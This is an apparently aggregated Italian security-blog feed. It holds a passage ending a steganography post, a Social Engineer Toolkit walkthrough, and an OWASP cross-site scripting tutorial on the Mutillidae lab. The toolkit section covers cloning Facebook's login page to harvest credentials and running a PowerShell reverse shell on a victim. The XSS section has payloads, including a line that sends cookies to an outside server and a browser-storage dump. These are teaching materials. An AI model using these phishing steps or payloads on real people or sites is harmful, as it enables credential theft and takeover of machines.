E come si può vedere è riuscito a capire con che tecnica steganografica il file è stato creato. “Rompere” questo algoritmo non penso sia nelle mie capacità, ma vi lascio un paper nel quale viene spiegato come farlo teoricamente.

Conclusioni

Per trovare le informazioni nascoste bisogna riuscire a trovare il software con cui è stata steganografato il file, in modo da riuscire poi ad utilizzarlo per effettuare l’operazione inversa. Con molti file si potrebbe trovare un pattern simile o una firma del programma ed utilizzarlo in modo inverso.  Ammetto di non aver mai approfondito l’argomento, ma dopo questo articolo penso che cercherò di compiere analisi complete con immagini e file audio e pubblicarle. Per chi volesse già approfondire ho trovato questo sito contenente alcune importati pubblicazioni in merito, mentre una lista dei principali software steganografici si può trovare qui.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Effettuare attacchi di Ingegneria Sociale con Social Engineer Toolkit

$
0
0

Il Social Engineer Toolkit è un software scritto per compiere test di Ingegneria Sociale, quindi atto ad entrare in un dispositivo sfruttando le debolezze delle persone.

Dopo averlo scaricato, per installarlo basta entrare nella cartella scaricata e digitare

python setup.py install

Completata l’installazione, per avviarlo:

./setoolkit

set

Selezionando una delle voci, comparirà a sua volta un sotto menù che ci permetterà di creare l’attacco a noi più consono. Alcuni attacchi del software sono basati sui payload di Metasploit, quindi può essere che se non l’avete installato sul vostro dispositivo possano comparire errori.

La voce principale è quella degli attacchi di Ingegneria Sociale. Selezionandola verrà aperto un nuovo menu, in cui avremo:

1. Spear-Phishing Attack Vectors

setspearphising

Questo modulo permette di inviare email ad una grande numero di persone con allegati maligni, i quali sfruttano vulnerabilità (decise da noi) per avere accesso al loro dispositivo. Mettiamo caso che domani esca una nuova vulnerabilità su Windows 7 (sistema operativo più usato al mondo). Se riusciamo ad avere una lista enorme di mail, la probabilità che la maggior parte abbia Windows 7 con quella vulnerabilità è abbastanza alta, e di conseguenza riusciremo ad avere accesso a moltissimi dispositivi. Questo è ovviamente illegale, il mio vuole essere solo un esempio pratico.

2.Website Attack Vectors

setwebattack

Questa voce riunisce tutti gli attacchi web utili per compromettere il dispositivo di una vittima, principalmente creando link o pagine web, inviandole all’obbiettivo e sperando che clicchi sul link inviatogli.

Invece che spiegare una ad una le voci che compaiono nel modulo preferisco fare un esempio pratico.

Clonare un sito per rubare dati alla vittima

Questo modulo consiste nel clonare un sito scelto da noi, avviarlo sul nostro dispositivo e cercare di sottrarre dati alla vittima facendogli utilizzare il sito clonato. Questo attacco funziona con ogni sito che supporta una qualsiasi forma di login, ad esempio Facebook.

Dopo aver avviato SET, i passi che effettuo sono : voce 1 (Attacchi di ingegneria sociale), voce 2 (Website attack vectors), voce 3 (Credential Harvester attack) ed infine la 2 (Site Cloner)

setsiteclonet

Come IP address inseriamo il nostro indirizzo IP locale, che troviamo con il comando ifconfig. Dato l’invio, ci viene richiesto di inserire il sito da clonare, e in questo caso inserisco https://www.facebook.com/login.php.

setclonfb

Se tutto si avvia correttamente, SET dovrebbe rimanere attivo, in attesa che qualcuno si connetta alla pagina e invii le proprie credenziali. Ovviamente in questo caso può funzionare solo su una rete locale. Ma le tecniche di phishing funzionano proprio in questo modo, e molta gente purtroppo ci casca. Per vedere se ha funzionato basta che visitiate l’indirizzo IP che avete inserito e inviate le vostre credenziali.

setclonfbpass

Le altre voci sono molto simili, l’unico modo per comprenderle e conoscerle sta nel testarle e riuscire a capire quale sia meglio per il nostro obbiettivo.

3.Infectious Media Generator

Questo modulo permette di inserire in un USB/CD/DVD un file autorun.inf e un payload Metasploit. Quando lo inseriremo nel dispositivo della vittima, questo si autoattiverà (se nel dispositivo è presente un pop up che notifica e chiede di procedere è possibile che non funzioni, in quanto si accorgerà della trappola) e, sempre se la macchina sia vulnerabile all’attacco, verrà eseguito il payload.

La quarta voce (Create payload and listener) permette di creare un semplice payload di Metasploit, inserito in un file exe. Se riusciste a convincere la vittima ad eseguirlo (anche solo mandandolo per mail) è possibile riuscire ad avere accesso alla shell del dispositivo ed averne il controllo.

5.Mass Mailer Attack

Questo attacco permette di inviare molteplici mail alle vittime e configuare il tutto da terminale (Soggetto, Titolo, Messaggio). Ci sono due possibilità:

  1. Attacco ad un singolo indirizzo mail;
  2. Attacco di massa.

Come si evince dalle voce, la prima permette di inviare la mail solamente ad un indirizzo, mentre la seconda ad un numero (potenzialmente) illimitato di mail.

setmassmail

La sesta voce (Arduino-Based Attack Vector) utilizza Arduino e il dispositivo Teensy per creare un Payload. Per chi vuole approfondire (non ho un Arduino, per cui mi è impossibile testare questo attacco) può vedere questo video.

7.Wireless Access Point Attack Vector

Con questo attacco verrà creato un wireless access point, un dhcp server e tutte le richieste DNS verranno sniffate dal nostro dispositivo. Se volete utilizzarlo su un portatile, a meno che la vostra scheda internet supporti una doppia connessione, avrete bisogno di una chiavetta esterna. Un’ottima guida di come usare questo modulo si può trovare a questo indirizzo.

L’ottava voce (QRCode Generator Attack Vector) permette di creare un QRCode basandosi sull’URL che vogliamo. Dopo aver generato il codice, bisognerà selezionare il vettore d’attacco. Per usare questo modulo bisogna avere installato python-imaging.

9.PowerShell Attack Vectors

Con questa voce viene creato un codice PowerShell che ci permetterà ci creare una connessione con qualsiasi macchina che possiede PowerShell. Per sfruttarla bisogna avviarlo sul dispositivo della vittima da terminale.

setpowershell

Selezionando ad esempio la voce 1, bisogna inserire il proprio indirizzo IP locale e la porta, e verrà creato il codice PowerShell utilizzabile per stabilire una connessione con il dispositivo vittima.

setpowershell1

Dopo aver avviato il listener, copiamo ed incolliamo il codice salvato in /root/.set/reports/powershell nel terminale del dispositivo vittima. Da questo momento dovremmo avere a completa disposizione la macchina, sulla quale in background ha powershell avviato e nessuno si accorgerà della nostra presenza.

setpowershell2
Codice di PowerShell da copiare nel terminale da infettare

 

setpowershell3
Sessione aperta con Meterpeter
Conclusioni

Questo software, se utilizzato in modo appropriato, ha infinite potenzialità. Si hanno a disposizione moltissime tipologie di attacchi, per qualsiasi situazione. Ricordo che utilizzarlo senza che la vittima sia consapevole è illegale e perseguibile penalmente.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

OWASP Top 10 – A3 Cross Site Scripting

$
0
0

L’Open Web Application Security Project (OWASP) è una community online, un progetto open-source che offre consigli, guide, articoli e software nell’ambito della sicurezza delle applicazioni. L’OWASP Top 10 include una lista delle maggiori vulnerabilità che un’applicazione web può avere, e l’obbiettivo è quello di educare sulle conseguenze che possono avere delle implementazioni errate e facilmente vulnerabili. Altri progetti degni di nota dalla stessa community sono i Cheat Sheets, una pagina completa di guide approfondite per le maggiori vulnerabilità conosciute, e l’OWASP testing guide. In questa serie di articoli andrò ad analizzare e testare ogni vulnerabilità con esempi pratici, utilizzando Mutillidae.

Dopo aver introdotto e spiegato alcune tipologie di Injection e l’Enumerazione e il bruteforce, eccoci con un nuovo articolo, stavolta su come eludere il controllo dell’input dei form che non impiegano sufficienti controlli.

A3 – Cross-Site Scripting

owasp3

Wikipedia definisce il Cross-Site Scripting come una vulnerabilità presente nei siti web dinamici che impiegano un insufficiente controllo dell’input nei form, i quali permettono agli attaccanti di iniettare script e codici maligni in pagine visibili anche ad altri utenti. Questo tipo di vulnerabilità è una delle peggiori poichè si possono modificare siti internet e danno la possibilità di sottrarre dati sensibili, come le credenziali di un amministratore (secondo un rapporto di Symantec del 2007 l’80% di tutte le violazioni è causato da attacchi XSS).

Esistono tre tipologia principali di attacco:

  1. Non persistente: vengono sfruttati i dati forniti dall’utente senza salvare in modo permanente i dati;
  2. Persistente: l’input inserito è salvato nel database, è meno comune ma decisamente più devastante;
  3. DOM-based: è di tipo non persistente, ma talmente rilevante da costituire una categoria a se stante.

Le basi di un attacco XSS

L’attaccante, se trova un form malconfigurato, può quindi controllare il contenuto di codice HTML, CSS, JavaScript, HTML5, etc. Gli attori coinvolti in questo scenario sono:

  • Il sito vulnerabile;
  • La vittima, ossia l’utente che visita il sito compromesso;
  • L’attaccante e il server dell’attaccante. In questo tipo di attacco si viene solitamente reindirizzati ad una pagina maligna che sottrarrà le credenziali della vittima.

Un test di base per osservare se un form è vulnerabile

 Questo form è <script>alert("Vulnerabile a XSS");</script>

Inserendo questo codice apparirà un alert nella pagina compromessa.

owasp3test

 

Esempio di attacco XSS non persistente (reflected)

Come detto precedentemente, questo attacco sfrutta la vulnerabilità per sottrarre i dati dell’utente senza che lui se ne accorga e senza salvarli sul server compromesso. In Mutillidae effettuo il login con le credenziali:

  • username: samurai;
  • password: samurai.

e vado alla pagina http://127.0.0.1/index.php?page=dns-lookup.php

owasp3xssreflected

Provo ad effettuare il test con la stringa di prima e noto che effettivamente è vulnerabile. Se è vulnerabile all’attacco, significa che posso anche vedere i cookie che il mio browser ha salvato per rimanere loggato alla pagina come utente samurai. Digito quindi la stringa

 <script>alert(document.cookie)</script>

owasp3xssreflected1

Come si può notare, ci viene restituito il codice di sessione (cosidetto cookie) e il nome utente. Ovviamente in questo caso noi sappiamo il nostro username e password, per cui poco ci importa. Ma se un attaccante invece che mostrarci il pop-up, inviasse i cookie che intercetta ad un suo server? Riuscirebbe, con un semplice plugin come Cookie Manager, ad impersonare noi e autenticarsi con le nostre credenziali. Un esempio di codice simile potrebbe essere

 <script>location.href='http://miosito.it/log.php?cookie='+cookie</script>

Esempio di attacco XSS persistente

In questo caso, l’attacco viene salvato nel server dell’applicazione vulnerabile e ogni utente che passerà in quella pagina si ritroverà compromesso per colpa della leggerezza dei programmatori. Un esempio di pagina vulnerabile in Mutillidae è http://127.0.0.1/index.php?page=add-to-your-blog.php

Provo, come prima, ad inserire la solita stringa di test, ed appare il solito pop-up. Il problema è che ora il nostro codice viene salvato nel database e chiunque visiti il mio blog è passibile di attacco. Per verificarlo, visualizzo tutti i blog

owasp3persistent

Ed ecco che appare anche in questa pagina

owasp3persistent1

E nello stesso modo di prima potremo inserire una stringa che invia i cookie di tutti gli utenti passanti per quella pagina al nostro server.

Esempio di attacco XSS DOM

Il Document Object Model (DOM) è una forma di rappresentazione dei documenti strutturati come modello orientato agli oggetti. DOM è lo stantard ufficiale del W3C per la rappresentazione di documenti strutturati in modo da essere neutrali sia per la linga che per la piattaforma; un classico esempio è la sorgente HTML che il browser web genera quando viene interpretato un documento HTML. Questo tipo di vulnerabilità è in aumento a causa di un utilizzo sempre più massiccio di script Client-Side rispetto ai Server-Side, e di conseguenza molti browser rischiano di esserne infetti.

Mutillidae ci offre un ottimo esempio di questo tipo di vulnerabilità, prendendo come spunto l’HTML 5 Web Storage. Esso è un semplice database implementato dai browser che permette alle pagine internet di salvare localmente (quindi nel nostro browser) stringhe utili ai fini della navigazione.

Le pagine che utilizzano questo metodo sono facilmente localizzabili osservando il codice sorgente della pagina; basta controllare se sono presenti le variabili “sessionStorage” e “localStorage

owasp3dom

In alcuni browser si può utilizzare JavaScript sovrascrivendo la pagina corrente che state visitando (non si sta defacciando la pagina, è solamente un “trucco” del proprio browser). Con il plugin Firebug vado ad inserire la stringa nella console

javascript:alert("Funziona");

owasp3dom2

Ora che so che il mio browser supporta questa modalità, vado alla pagina http://127.0.0.1/index.php?page=html5-storage.php e provo a sottrarre le stringhe che il mio browser ha salvato. La pagina HTML5-storage appena aperta dovrebbe essere vuota. Se lo è, ricaricatela (digitando F5) e vedrete che appariranno diverse stringhe. Quelle stringhe sono appena state salvate nel vostro browser.

owasp3dom3

Inserisco e avvio (Run) tramite FireBug il seguente codice:

 try{ 
  var m = ""; 
  var l = window.localStorage; 
  var s = window.sessionStorage; 
  for(i=0;i<l.length;i++){ 
    var lKey = l.key(i); 
    m += lKey + "=" + l.getItem(lKey) + ";\n"; 
    }; 
  for(i=0;i<s.length;i++){ 
    var lKey = s.key(i); 
    m += lKey + "=" + s.getItem(lKey) + ";\n";
    }; 
  alert(m); 
  }catch(e){ alert(e.message); }

Esso permette di visualizzare con un pop-up tutte le chiavi salvate nel nostro browser (funzioni window.localStorage e window.sessionStorage)

owasp3dom4

Ed ecco che abbiamo tutte le chiavi salvate nel nostro browser, insieme ad un paio che non visualizzava la pagina, ma erano nascoste.

Un altro esempio è quello di inserire manualente delle chiavi, bypassando il form di inserimento. Un possibile codice (potete ovviamente modificarlo, inserendo magari un ciclo) da inserire è

 sessionStorage.setItem("ChiaveMrTouch","MIACHIAVE");

owasp3dom5

Ovviamente questo può funzionare solamente sul browser, quindi localmente. Ma la questione è sempre la stessa: se ci fosse un form vulnerabile in cui possiamo iniettare questo codice maligno e invarci le variabili salvate dell’utente inconsapevole?

Ad esempio, basta inserire questo codice

Script

nella pagina http://127.0.0.1/index.php?page=add-to-your-blog.php (la quale è vulnerabile ad XSS). Il codice prendere le variabili salvate nel browser e le invia alla pagina http://127.0.0.1/index.php?page=captured-data.php. La prova che ha funzionato risiede nella pagina stessa

owasp3dom6

Per chi volesse approfondire questo particolare tipo di attacco, consiglio questo approfondimento.

Conclusioni

Ho cercato di introdurre in maniera molto semplice la terza vulnerabilità più diffusa nelle applicazioni web. Sicuramente ci sono molte più accezioni e Mutillidae possiede altre pagine vulnerabili all’attacco, per cui non resta che provare autonomamente e conoscere al meglio questo attacco. In rete sono presenti centinaia di approfondimenti, consiglio la guida di Google, ExploitDB e ExcessXSS.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Viewing all 123 articles
Browse latest View live